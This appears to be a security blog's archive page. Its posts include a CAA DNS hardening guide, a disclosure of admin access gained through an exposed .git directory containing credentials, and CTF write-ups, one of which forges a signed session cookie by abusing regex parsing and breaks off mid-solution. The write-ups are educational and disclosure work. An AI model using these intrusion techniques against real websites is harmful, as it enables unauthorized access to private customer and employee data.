Digital Naïve

CAA records and "accounturi" recommendations

Wed, 05 Nov 2025 00:00:00 -0600

tl;dr? Jump to recommendations!

Introduction

By default, any CA can issue certificates for any domain, and anyone in control of your IP address is able to request a certificate from such a CA.

DNS Certification Authority Authorization (CAA) Resource Records allow you to define limitations on this. The standard is defined in RFC 8659, and public CAs are required¹ to follow this standard. The accounturi and validationmethods parameters of CAA are defined in RFC 8657.

Using CAA, you can restrict which CA is allowed to issue certificates, which validation method can be used, and which account is allowed to request certificates.

Why use CAA

The list of trusted CAs includes hundreds of CAs spread across the globe. A bug in just one of them might allow attackers to obtain a valid certificate for your domain. Bugs in CAs happen all the time.

Anyone in control of your domain’s IP address can obtain a certificate. This includes all network providers along the route, and hosting providers, and depends on their security to prevent other customers from taking over your IP. Attackers may also use BGP hijacking to take over control of your IP.

In 2022, Twitter’s IP addresses and their traffic were taken over by a Russian ISP². They could have obtained certificates during this time.
In 2023, attackers positioned themselves in front of both xmpp.ru on Linode, and jabber.ru on Hetzner. They then requested certificates from Let’s Encrypt for these domains and were able to decrypt the traffic. The attack was only noticed when the attackers’ certificate expired.³
This attack would have been prevented by a CAA record with an accounturi.

CAA overview

CAA records have a format of CAA <flags> <tag> <value>.

`<flags>`

This is a bit field number (0-255). At the time of writing, only bit 0 is defined as the critical flag. All undefined bits must be set to 0. So, currently, the value should be either 0 (critical=0) or 128 (critical=1).

The critical flag means that CAs must not issue a certificate unless they understand and support the property with this bit set.

Note that the meaning of additional parameters (such as accounturi and validationmethods) are determined by the CA and thus not affected by this flag. CAs that do not support a parameter may chose to ignore it, and still issue the certificate. Make sure the CA you’re using supports the parameters you’re using and, ideally, test them.

`<tag> <value>`

The original RFC defined 3 “Property Tags”: issue, issuewild, and iodef.
There is also issuemail⁴ which is used for S/MIME certificates and won’t be covered here.
The CA/Browser Forum also defined contactemail and contactphone, but I won’t cover them, either.

At the time of writing, there is a new draft RFC that introduces the security property. It features some promising additions such as renewal verification over HTTPS using the existing certificate or by signing a message with a key published in DNS.

As this can’t be used yet, I won’t cover it here. But I recommend monitoring the availability of these features.

The `issue` property tag

The issue property restricts which CAs are allowed to issue (both non-wildcard and wildcard) certificates. The value is the CA’s domain, and may be followed by additional key=value parameters, separated by semicolons (;).

You can define multiple CAA issue records to allow multiple CAs:

         Domain    Type   Value
yourdomain.tld.    CAA    128 issue "letsencrypt.org"
yourdomain.tld.    CAA    128 issue "digicert.com"

If you don’t want any certificates for a domain, you can also deny all CAs:

yourdomain.tld.    CAA    128 issue ";"

The `issuewild` property tag

This property works the same as issue, but is only relevant for wildcard certificates. When you don’t specify any issuewild properties, the rules for wildcard certificates are taken from the issue properties. However, all issue properties are ignored for wildcard certificates when an issuewild property exists.

The following example allows Let’s Encrypt to issue only non-wildcard certificates, while the other CA to issue only wildcard certificates:

         Domain    Type   Value
yourdomain.tld.    CAA    128 issue "letsencrypt.org"
yourdomain.tld.    CAA    128 issuewild "wildcard-ca.tld"

Parameters

Both issue and issuewild can have additional parameters. The parameters accounturi and validationmethods were defined in RFC 8657, but CAs may also support anything else.

Usually, these parameters further constrain the property they’re added to.
If you want to use both accounturi and validationmethods, you need to define both in the same record and cannot spread them across two different issue or issuewild properties!

`validationmethods=`

This is a comma-separated list and allows restricting the validation methods to one or more methods.

The following example prevents the use of dns-01 (or any other supported validation method), except for the two listed below:

         Domain    Type   Value
yourdomain.tld.    CAA    128 issue "letsencrypt.org; validationmethods=http-01,tls-alpn-01"

`accounturi=`

This is probably the most interesting one, as it allows limiting certificate issuance to the specified ACME account, and therefore, the account’s private key.
ACME accounts consist of a private and public key pair. Usually, the key generation and account creation happen automatically the first time you request a certificate. The private key resides on your server, whereas the public key is used by the CA to verify your messages.

The accounturi restriction therefore provides a strong protection against MITM attackers because they don’t have your private key. Otherwise they wouldn’t really be hindered by CAA as they can just obtain a certificate by using the same CA that you’re using (see ³).

         Domain    Type   Value
yourdomain.tld.    CAA    128 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"

The `iodef` property tag

The weird name stems from the (XML based) Incident Object Description Exchange Format (IODEF), as described in RFC 7970.
The property allows you to define mailto, http, or https URLs where you receive notifications in the IODEF format in case certificate issuance failed and/or violated the security policy.

         Domain    Type   Value
yourdomain.tld.    CAA    128 iodef "mailto:tls-abuse@yourdomain.tld"

Mechanism

CAs will do a CAA lookup for the (sub)domain you’re requesting a certificate for.
If they don’t find one for sub.xyz.yourdomain.tld., they will they will climb up the DNS name tree and look for CAA records at xyz.yourdomain.tld., yourdomain.tld., and even tld.

Note that the climb will stop when any CAA records are found.

The iodef CAA record below is in effect for yourdomain.tld.. It also applies to foobar.yourdomain.tld., which has no CAA records. But it does not apply to sub.yourdomin.tld., as a query for CAA sub.yourdomain.tld. only returns the issue CAA record.

             Domain    Type   Value
    yourdomain.tld.    CAA    128 iodef "mailto:tls-abuse@yourdomain.tld"
    yourdomain.tld.    CAA    128 issue "letsencrypt.org"
sub.yourdomain.tld.    CAA    128 issue ";"

CAA recommendations

Simple example

This will probably do for most setups. It restricts certificates to yourdomain.tld. and www.yourdomain.tld., while only allowing the http-01 method with a certain Let’s Encrypt account.

Wildcard certificates and any other subdomains are not allowed.

             Domain    Type   Value
    yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
    yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"
    yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711"
    yourdomain.tld.    CAA    128 issuewild ";"

www.yourdomain.tld.    CNAME  yourdomain.tld.

  *.yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
  *.yourdomain.tld.    CAA    128 issue     ";"

Find your `accounturi`

If you use certbot, you can use certbot show_account. Otherwise, you may find it in the account.json or regr.json file used by various ACME clients.

It should look something like https://acme-v02.api.letsencrypt.org/acme/acct/1337.

The staging accounturi is different!

When you use Let’s Encrypt, the accounturi is different for their staging servers! A “dry” run against the Let’s Encrypt staging servers will fail CAA unless you’ve also added the staging URI. Note that both the hostname and the account number are different.

When using certbot, you can find the staging account URI using:
certbot show_account --server https://acme-staging-v02.api.letsencrypt.org/directory

It should look something like https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711.

You can add multiple CAA issue/issuewild records with different accounturi parameters to support both.

Get notified

That’s the easiest thing you can do. Just add an iodef CAA record and provide an email address.
Make sure to add an iodef record to any subdomain that has another CAA record.

         Domain    Type   Value
yourdomain.tld.    CAA    128 iodef "mailto:tls-abuse@yourdomain.tld"

Use critical flag

Always set the <flags> value to 128 instead of 0 for all your CAA records. This requires CAs to understand and support the record, or reject issuance otherwise.

           Domain    Type   Value
- yourdomain.tld.    CAA    0   issue "..."
+ yourdomain.tld.    CAA    128 issue "..."

Use different accounts

If you manage multiple (sub)domains and request their certificates from different environments (servers, VMs, containers, etc.), consider registering different ACME accounts for each of them. This should be the default if the account key is not shared across your environments, but if you’re cloning templates or use something like Ansible you might be using the same account for all of them.

This protects against attackers requesting certificates for your other domains once they’ve pwned one environment.

Avoid and limit wildcard certificates

Unless you make use of a wildcard (“catch-all”) subdomain that needs TLS (as in https://random8280accdd24b.yourdomain.tld), or have good reason to prevent your subdomains from showing up in CT logs, you should not be using wildcard certificates. Being lazy because you manage thousands of subdomains and they change often means you need to improve your automation, and is not a good excuse. Avoid them, if you can.

To prevent wildcard issuance on a domain, but allow them for *.sub.yourdomain.tld:

             Domain    Type   Value
    yourdomain.tld.    CAA    128 issuewild ";"
sub.yourdomain.tld.    CAA    128 issuewild "letsencrypt.org; ..."

Protect unused subdomains

To prevent certificate issuance for unused / unknown subdomains, add a wildcard (“catch-all”) DNS record:

           Domain    Type   Value
*.yourdomain.tld.    CAA    128 issue ";"
*.yourdomain.tld.    CAA    128 iodef "mailto:tls-abuse@yourdomain.tld"

Full example

The following example

Specifies tls-abuse@yourdomain.tld as the email address to receive validation failure notifications.
Only allows Let’s Encrypt account 1337 (4711 on staging) using http-01 to request certificates for yourdomain.tld., www.yourdomain.tld., abc.yourdomain.tld.
Does not allow wildcard certificates for *.yourdomain.tld. or *.abc.yourdomain.tld.
Only allows Let’s Encrypt account 1337 (4711 on staging) to request non-wildcard certificates for sub.yourdomain.tld., and only over http-01,
Only allows Let’s Encrypt account 1337 (4711 on staging) to request wildcard certificates for *.sub.yourdomain.tld., and only over dns-01.
Does not allow any certificates for random / undefined subdomains.

             Domain    Type   Value
    yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
    yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"
    yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711"
    yourdomain.tld.    CAA    128 issuewild ";"

www.yourdomain.tld.    CNAME  yourdomain.tld.

abc.yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
abc.yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"
abc.yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711"
abc.yourdomain.tld.    CAA    128 issuewild ";"

sub.yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
sub.yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"
sub.yourdomain.tld.    CAA    128 issue     "letsencrypt.org; validationmethods=http-01; accounturi=https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711"
sub.yourdomain.tld.    CAA    128 issuewild "letsencrypt.org; validationmethods=dns-01;  accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1337"
sub.yourdomain.tld.    CAA    128 issuewild "letsencrypt.org; validationmethods=dns-01;  accounturi=https://acme-staging-v02.api.letsencrypt.org/acme/acct/4711"

  *.yourdomain.tld.    CAA    128 iodef     "mailto:tls-abuse@yourdomain.tld"
  *.yourdomain.tld.    CAA    128 issue     ";"

Further hardening and limitations

Use DNSSEC to secure your CAA and any other DNS records.
Ensure your network provider uses RPKI to secure your IP addresses.
Monitor CT logs for your domains. A tool like certspotter or one of the subscription services may help.
CAA records only define restrictions for CAs which the CAs themselves must follow. A malicious or buggy CA that ignores CAA records might get its loicense revoked, but is able to produce a valid certificate until then.
Relying on public CAs was a bad overall internet design choice. DNS-based Authentication of Named Entities (DANE) may help, it’s not supported by any mainstream browser.
You do not fundamentally own and control your DNS records. The existing solutions to this, like .onion addresses are not human friendly. The problem is known as Zooko’s triangle; the Tor project has an overview of research projects that attempt to address this problem, but nothing is currently viable for the average end user.

Comments

Please join the discussion in this Fediverse thread!

Section 3.2.2.8 of the CA/Browser Forum’s Baseline Requirements for the Issuance and Management of Publicly-Trusted TLS Server Certificates ↩
Some Twitter traffic briefly funneled through Russian ISP, thanks to BGP mishap ↩
Encrypted traffic interception on Hetzner and Linode targeting the largest Russian XMPP (Jabber) messaging service ↩ ↩²
RFC 9495 ↩

How to become an OpenStreetMap pro

Mon, 02 Jan 2023 00:00:00 -0600

I gave a talk about OSM at Fireshonks – one of the online events in place of the CCC’s cancelled annual Chaos Communication Congress.

Since a lot of the existing talks on OSM cover introduction / tutorials or a very specific subject, I wanted to give a talk for those already familiar with basic mapping. Specifically, I wanted viewers to understand the OSM ecosystem a little better and wanted to provide some options of what to do after getting started with OSM. The talk covers some technical explanations, editing tips, and various tools for review and QA.

Note to self: A short (30 min) time slot doesn’t reduce the effort required, nor the amount information I want to provide. I ended up with a lot of slides and had to rush over them. My apologies for the slurred speech!

Video

The video is available in English (OV) and German translation (SI).
Please select the desired audio track.

The video is hosted on media.ccc.de and is mirrored to YouTube (en, de).

Slides

See osm-pro.pdf (PDF; 14Mb)

Contact

I sometimes post about #openstreetmap (or #osm) on Mastodon.
Feel free to reach out for any questions or comments!

Overview and introduction to OSINT and OPSEC

Mon, 02 May 2022 00:00:00 -0500

I gave an overview / introduction talk about OSINT and OPSEC at the CCC’s annual Chaos Communication Congress (rc3 NOWHERE).

OSINT is the extraction of information from freely available sources. But what exactly is OSINT and why is it useful not only for intelligence agencies and journalists? How can the smallest details be exploited to locate or date an inconspicuous photo? Which tools and sources exist, how can information be verified, what does OSINT have to do with “OPSEC” and what should you keep in mind when sharing your life on the Internet?
All these questions are anwered in my talk “OSINT: Ich weiß wo dein Haus wohnt” (engl. ~ “I know where you live”).

Video

The video is available in German (OV) and English (VO).
Please select the desired audio track.

The video is hosted on media.ccc.de and is mirrored to YouTube (de, en).

Slides

German – See osint.pdf (PDF; 16Mb, sorry)

Resources

If you like solving OSINT challenges in a fun way, I highly recommend to follow @quiztime on Twitter.

jivoi/awesome-osint – Large collection
cipher387 – Large collection
bellingcat.com – OSINT journalism with detailed explanations + their own tools and tutorials
osintframework.com – Collection of tools
osintcurio.us – Tips and tutorials
sector035.nl – “Week in OSINT”
nixintel.info – Tips and tutorials

Also, I regularly tweet and toot about #osint (or #opsec).
Feel free to reach out for any questions or comments!

Pwning an online retailer via public .git directory

Tue, 19 Jan 2021 00:00:00 -0600

A few days ago, I gained admin access to the ERP system of a German-based international online retailer¹ operating a number of e-commerce websites. The ERP system included sensitive employee data, customer data, and over 160k invoices. They quickly addressed the issues and the overall communication went very well.

When I noticed that https://███████24.de/.git/config returned an actual git config file, I started investigating further. The file content itself only revealed the repository URL, which wasn’t publicly accessible. But the mere fact that the file was accessible gave away that the .git directory was not properly secured on the web server.

The .git directory exists in every git repository and contains all its information, including branches, commit history, etc. With access to the files within this directory, all that information can be downloaded piece by piece, for example using tools like gitjacker. Directory listing on the web server is not required for this to work.

After restoring the downloaded git repository to a somewhat usable state, I had access to most of the repositories files and history and started looking around. The first thing I noticed were temporary files and backup files that shouldn’t have existed inside the webroot anyway, but were additionally added to the repository – perhaps by an incautious git add .

I moved on loooking through files and found some .json configuration files in the repository that contained credentials:

{
  "...": {
    "url": "http://█████████████████████████████",
    "username": "admin",
    "password": "123secret███",
    "database": "█████████████████████",
    // ...
  }
}

Even worse, the files being .json files, their content was – unlike .php files – publicly accessible from the web server, without even requiring any access to the git repository.

The URL led to the company’s web based ERP system where I could simply log in with a web browser using the credentials from the JSON files.

This gave me access to a lot of data and functionality, most of which was PII or company secrets. Some of these were:

Email messaging
Employee’s calendars, including private data such as medical appointments, birthday parties, etc.
Employee’s paid and unpaid leave requests, leave reason and approval status
Internal issue tracker
Warehouse / Inventory details
Cost price and public price of products
Over 160k customer invoices

As I was logged in as admin, it was also possible to create, modify or delete any or all of this information. (I did not try this)

List of customer invoices

A single customer invoice

Due to the large amount of customer data being at risk, I notified the retailer that same night. They replied the next day, were thankful and addressed the security issues in a quick and responsible manner, which I find quite noteworthy. Thanks!

Discussion

Accidentally exposed .git directories are very common, but they remain an oversight like any other. It is hard to prevent all oversights from happening. However, storing credentials in (supposedly private) source code is much more negligent and can be easily avoided. In this case, it led to a much worse outcome of a comparatively harmless issue. Website operators should be careful not to include files in the webroot that shouldn’t be publicly accessible, or ensure the web server is properly configured to deny access to them.

To prevent credentials in your source code, you can replace sensitive data with environment variables, or you can place configuration files outside your repository and webroot.

Disclosure timeline

2020-12-29	I gained access to the ERP system.
2020-12-30	I notified the retailer about the issues.
2020-12-30	The retailer replied that they have started fixing and intend to complete fixes by end of the day.
2020-12-30	The retailer notified me that fixes have been completed and decided to notify the data protection authority about the issues the same day.
2020-12-31	I confirmed the most critical issues have been fixed (.git no longer accessible, ERP password changed), pointed out some remaining smaller issues and gave additional advice. I also asked if a bug bounty is possible.
2021-01-08	The retailed replied that the remaining issues have been addressed and told me they will offer a bug bounty.
	Some emails about handling the bug bounty and publication followed.
2021-01-19	Publication of this article.

I received a bug bounty of 500 €, half of which was donated to my local hacker space.

I intended to identify the retailer as to give them some kudos for their commendable reaction. However, the retailer was concerned this might actually drive away some unsavvy customers and do harm to their business, which I can empathize with and therefore decided not to identify them. ↩

MRMCD CTF 2019: Solving "Flag Checker" with style

Fri, 20 Sep 2019 00:00:00 -0500

This is a writeup of this year’s MRMCD CTF challenge “Flag Checker”, which I solved by hand while wondering how to let a computer solve this more elegantly. I thought about using Prolog until jn suggested using Z3, which I want to demonstrate in this post.

Essentially, the challenge was made up of to these JavaScript functions:

function isFlagCorrect(flag) {
  if (hash(flag.length) != 1801011984) return false;
  if (flag.indexOf("G") - flag.indexOf("A") != 5) return false;
  if (flag.indexOf("V") - flag.indexOf("J") != 15) return false;
  if (flag.indexOf("X") > 21) return false;
  if (flag.indexOf("O") - flag.indexOf("I") != 5) return false;
  if (flag.indexOf("E") - flag.indexOf("B") != 1) return false;
  if (flag.indexOf("M") < 9) return false;
  if (flag.indexOf("S") - flag.indexOf("P") != 2) return false;
  if (flag.indexOf("L") - flag.indexOf("B") != 10) return false;
  if (flag.split("H").length != 3) return false;
  if (flag.indexOf("W") - flag.indexOf("P") != 5) return false;
  if (flag.indexOf("N") != 12) return false;
  if (flag.indexOf("Q") - flag.indexOf("D") != 15) return false;
  if (flag.indexOf("F") != 5) return false;
  if (flag.indexOf("V") == 23) return false;
  if (flag.indexOf("X") - flag.indexOf("T") != 4) return false;
  if (flag.indexOf("U") - flag.indexOf("Q") != 6) return false;
  if (flag.indexOf("A") > 5) return false;
  if (flag.indexOf("S") - flag.indexOf("K") != 5) return false;
  if (flag.indexOf("D") == 2) return false;
  if (flag.indexOf("F") - flag.indexOf("C") != 4) return false;
  if (flag.indexOf("R") - flag.indexOf("H") != 10) return false;
  if (flag.indexOf("B") > 3) return false;
  if (flag.indexOf("T") - flag.indexOf("M") != 6) return false;

  return true;
}

function hash(s) {
  s = Math.pow(s, 5) ^ Math.pow(s, 7);
  return s;
};

Instead of manually sorting characters, the machine can do the work!

But let’s start by finding the length of the flag string first:

let findLength = (x) => hash(x) == 1801011984 ? x : findLength(x+1);
findLength(0);
=> 25

Great, now off to the interesting part!

Using constraint programming we can describe the constraints, it tells us whether or not they can be satisfied and we’ll get the solution as a byproduct. As mentioned, I’ll be using the Z3 theorem prover, which also comes with handy python bindings.

from z3 import *
s = Solver()

Transforming the JavaScript conditions to Z3 constraints is rather simple:

# JavaScript
if (flag.indexOf("G") - flag.indexOf("A") != 5) return false;
# Python / Z3
s.add(IndexOf(flag, "G", 0) - IndexOf(flag, "A", 0) == 5)

The following string concatenation

if (flag.split("H").length != 3) return false;

could be expressed in z3 like this:

l = String("left")
m = String("middle")
r = String("right")
s.add(l + "H" + m + "H" + r == flag)

But it’s very slow and the code really only assures that “H” occurs 2 times, which we can do in Z3 using a more performant little hack:

# IndexOf(str, substr, offset)
h1 = IndexOf(flag, "H", 0)
h2 = IndexOf(flag, "H", h1+1)
h3 = IndexOf(flag, "H", h2+1)

s.add(h2 != -1) # exists
s.add(h3 == -1) # doesn't exist

Finally, this is the complete python/z3 code, which doesn’t look too different from the original JavaScript code:

from z3 import *

s = Solver()

# an unknown string called 'flag'
flag = String('flag')

s.add(Length(flag) == 25)

s.add(IndexOf(flag, "G", 0) - IndexOf(flag, "A", 0) == 5)
s.add(IndexOf(flag, "V", 0) - IndexOf(flag, "J", 0) == 15)
s.add(IndexOf(flag, "X", 0) <= 21)
s.add(IndexOf(flag, "O", 0) - IndexOf(flag, "I", 0) == 5)
s.add(IndexOf(flag, "E", 0) - IndexOf(flag, "B", 0) == 1)
s.add(IndexOf(flag, "M", 0) >= 9)
s.add(IndexOf(flag, "S", 0) - IndexOf(flag, "P", 0) == 2)
s.add(IndexOf(flag, "L", 0) - IndexOf(flag, "B", 0) == 10)
s.add(IndexOf(flag, "W", 0) - IndexOf(flag, "P", 0) == 5)
s.add(IndexOf(flag, "Q", 0) - IndexOf(flag, "D", 0) == 15)
s.add(IndexOf(flag, "X", 0) - IndexOf(flag, "T", 0) == 4)
s.add(IndexOf(flag, "U", 0) - IndexOf(flag, "Q", 0) == 6)
s.add(IndexOf(flag, "S", 0) - IndexOf(flag, "K", 0) == 5)
s.add(IndexOf(flag, "F", 0) - IndexOf(flag, "C", 0) == 4)
s.add(IndexOf(flag, "T", 0) - IndexOf(flag, "M", 0) == 6)
s.add(IndexOf(flag, "R", 0) - IndexOf(flag, "H", 0) == 10)

s.add(IndexOf(flag, "N", 0) == 12)
s.add(IndexOf(flag, "F", 0) == 5)
s.add(IndexOf(flag, "V", 0) != 23)
s.add(IndexOf(flag, "A", 0) <= 5)
s.add(IndexOf(flag, "D", 0) != 2)
s.add(IndexOf(flag, "B", 0) <= 3)

h1 = IndexOf(flag, "H", 0)
h2 = IndexOf(flag, "H", h1+1)
h3 = IndexOf(flag, "H", h2+1)

s.add(h2 != -1)
s.add(h3 == -1)

s.check()
print(s.model())

Where s.check() returns sat (satisfiable) and s.model() gives us the model that was created to prove it:

[flag = "DCABEFIGHJMONLKQTPRSXUWHV"]

isFlagCorrect("DCABEFIGHJMONLKQTPRSXUWHV");
=> true

\o/

About Domain Validation and Padlocks

Sun, 13 Jan 2019 00:00:00 -0600

Note: This post is a copy of https://paypal.gift.

Web browsers show a padlock icon next to the URL of HTTPS websites with a valid TLS certificate. This padlock indicates that the connection between your browser and the server is secure.

It does not indicate that the website is safe to use, or that the domain name is not misleading, or anything, really. It just means that you’re connected to the address displayed in the address bar with nobody else reading or manipulating content. This type of certificate is also known as Domain Validation (“DV”) certificate and is the most common.

A different validation method called Extended Validation (“EV”) exists, where the company owning¹ the domain is included in the certificate, but otherwise it’s not very different. For sites with these certificates, browsers usually show a padlock and the company name next to the URL, which can give the user a false sense of security. See Stripe, Inc and Identity Verified.

This website, paypal.gift, uses a DV certificate from Let’s Encrypt. Some people would argue that they shouldn’t have issued the certificate because the website is obviously not owned by “the real PayPal” and/or because it might be used for malicious activities. However, this is ultimately wrong because a certificate does not certify that a website is safe to use! (whatever that even means). Doing so wouldn’t be an easy task, anyway. What is a malicious site and what’s not? Who gets to decide? Is Facebook a malicious site? And if so, should they send data in plain text?

Some people still expect the CAs to do something about bad sites. Let’s Encrypt disagrees, but for a while decided to use the Google Safe Browsing API to figure out if a domain is a known bad website (by Google’s terms) before issuing a certificate. They eventually stopped doing that because it’s simply not relevant for the certificate. It would also give Google and their false positives² the power to decide.

What Let’s Encrypt does, however, is holding a blacklist of “high value” domains³ for which they won’t automatically issue certificates until the legitimate domain owner explicitly asks them to. This is to lower the practical impact of a hostile domain takeover or BGP hijack. This blacklist includes paypal.com, but it does not include previously unregistered paypal.* domains, as I demonstrated in April 2018.⁴ This approach obviously does not scale and is only in place to prevent the worst, although it’s not the responsibility of the CA to prevent domain takeovers. They only validate that someone technically controls the domain.

Ultimately all HTTP websites should move to HTTPS, regardless of their content, and browsers should only indicate when a connection is not secure, instead of the other way around. Padlocks and company names need to disappear. And luckily this is what’s already happening. More than ¾ of page loads now use HTTPS. Mozilla has deprecated HTTP in 2015. Firefox, Safari and Chrome are already marking some or all HTTP sites as insecure. Eventually browsers won’t connect to HTTP sites, just like sites with broken HTTPS.

The provided legal entity is verified to exist and to be in control of the domain in question. ↩
To give one recent example, Google decided that textfiles.com and all related domains are dangerous. ↩
Roughly Alexa Top 1000 domains and existing permutations of these domains on other TLDs. They do remove false positive permutations from the blacklist when pointed out to them. ↩
I acquired a certificate for paypal.cologne much to the surprise of this guy. ↩

MRMCD CTF 2018 writeup: Hatali

Sat, 15 Sep 2018 00:00:00 -0500

This is a writeup of this year’s MRMCD CTF challenge “Hatali”, including two different ways to solve the challenge (one of them being unintended by the challenge authors).

We are presented with a simple login/register website. The site allows you to register – and then login with – any username/password combination. We’ll use admin:admin.

The site sets a session cookie upon login:

NGJHNkVzQnVMTWFjNGJHNkVzYTJiNTQ4NTJhZTJjN2ViM2JiNTY3YWY5MWY0NTdiMjdiNDU5MzNiYWNlZGI2ZjQ4NzhmYzg4MGEyNGYwMDJmYzRiRzZFc01hYzRiRzZFc0J1TEJ1TDRiRzZFc1oyQnY0c2E0Ykc2RXNCdUxCdUw0Ykc2RXNCdUw0Ykc2RXMzNGJHNkVzQnVM

And also tells us:

<center>
  Nothing to see here!<br>
  <!-- source here: index.php?source -->
  <a href="?logout">logout</a>
</center>

Following that hint, we also receive the source code. With the boring stuff removed, it’s basically three parts…

$password = $_POST['password'];
$username = $_POST['username'];
if ($stmt = mysqli_prepare($link,"SELECT id,username from users where username = ? and password = ?")) {
    mysqli_stmt_bind_param($stmt, "ss", $username, hash('sha256',$password));
    mysqli_stmt_execute($stmt);
    mysqli_stmt_bind_result($stmt, $id, $user);
    mysqli_stmt_fetch($stmt);
    mysqli_stmt_close($stmt);

    $sess = array();
    $sess["user"] = $user;
    $sess["id"] = $id;
    assert(strlen($key) == 23);
    $ss = "_BuLBuL_".$sess['user']."_BuLBuL";
    $ss .= "_BuL_".$sess['id']."_BuL";
    $hmac = hash("sha256",$key.$ss);
    $ss = "_BuLMac_".$hmac."_Mac".$ss;
    $ss = str_replace($s, $r, $ss);
    setcookie("session",base64_encode($ss),time()+8000);
}

Session handling

if (isset($_COOKIE) && array_key_exists('session', $_COOKIE))
{
    $session = base64_decode($_COOKIE['session']);
    $session = str_replace($r, $s, $session);
    preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
    preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
    preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
    preg_match_all("/_Mac(.*)/i", $session, $data);

    $sess['user'] = end(end($name));
    $sess['id'] = intval(end(end($id)));
    $sess['mac'] = end(end($mac));
    $mac = hash("sha256",$key.end(end($data)));
    if ($mac !== $sess['mac'])
    {
        echo "Hacker detected!";
        die();
    }
}

Authorization

if (isset($sess))
{
    if ($sess['id'] == 1 && $sess['name'] = "admin")
    {
        echo "<center>Here is your flag: $flag</center><br>";
    } else if ($sess['id'] > 1) {
        echo "<center>Nothing to see here!<br>";
        echo "<!-- source here: index.php?source -->";
        echo '<a href="?logout">logout</a></center>';
        echo "</body>
            </html>";
        exit();
    }
}

When base64 decoded, our session cookie looks like this:

4bG6EsBuLMac4bG6Esa2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc4bG6EsMac4bG6EsBuLBuL4bG6EsZ2Bv4sa4bG6EsBuLBuL4bG6EsBuL4bG6Es34bG6EsBuL

We don’t know exactly what $r and $s are in str_replace($s, $r, $ss), but we can take an educated guess knowing that the deobfuscated session string begins with _BuLMac_. They’re replacing _ with 4bG6Es, which gives us a somewhat meaningful string:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_Z2Bv4sa_BuLBuL_BuL_3_BuL

What’s weird here is that _BuLBuL_Z2Bv4sa_BuLBuL_ should contain the username (as we know from the code) instead of Z2Bv4sa, and in fact does contain the correct username when using usernames other than admin, so they also seem to be replacing admin with Z2Bv4sa. PHP allows to specify multiple search and replace values for str_replace.

Our fully deobfuscated session string looks like this:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

Where our username is admin, our user ID is 3, and a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc is the hash of an unknown secret $key + _BuLBuL_admin_BuLBuL_BuL_3_BuL.

Our goal is, of course, to get the $flag, which is returned when we’re logged in as admin user #1:

if ($sess['id'] == 1 && $sess['name'] = "admin")
{
    echo "<center>Here is your flag: $flag</center><br>";
}

To my knowledge, the = assignment being done here was not intended by the challenge authors. But we wouldn’t have to forge the username anyways, as registering admin was allowed.

We cannot simply set the ID from 3 to 1. That would change the MAC calculated here, and no longer match the MAC from the session cookie. We also can’t calculate the correct MAC because we don’t have the $key:

$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
    echo "Hacker detected!";
    die();
}

Solution 1: Attacking the RegEx

Let’s take a closer look at how the $session string is parsed:

preg_match_all("/_BuL_(.*?)_BuL/i", $session, $id);
preg_match_all("/_BuLBuL_(.*?)_BuL/i", $session, $name);
preg_match_all("/_BuLMac_(.*?)_Mac/i", $session, $mac);
preg_match_all("/_Mac(.*)/i", $session, $data);

$sess['user'] = end(end($name));
$sess['id'] = intval(end(end($id)));
$sess['mac'] = end(end($mac));
$mac = hash("sha256",$key.end(end($data)));
if ($mac !== $sess['mac'])
{
    echo "Hacker detected!";
    die();
}

preg_match_all searches $session for the specified pattern and stores the results in the variable given as the last argument. end(end($result)) is simply the last match’s last match group.

Let’s visualize the match groups for $mac, $data, $admin, $id:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

The string used to calculate the MAC can already be constructed using $id and $name, but instead is obtained from an additional match ($data) on the session string, which I found unusual.

I decided to play around with it. If I could leave $data unchanged, but somehow still change $id, the MAC validation would pass and the challenge would be solved.

Prepending the ID as follows wouldn’t work, because only the last match is used:

_BuL_1_BuL_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL

Appending it also doesn’t work without changing $data:

_BuLMac_a2b54852ae2c7eb3bb567af91f457b27b45933bacedb6f4878fc880a24f002fc_Mac_BuLBuL_admin_BuLBuL_BuL_3_BuL_BuL_1_BuL

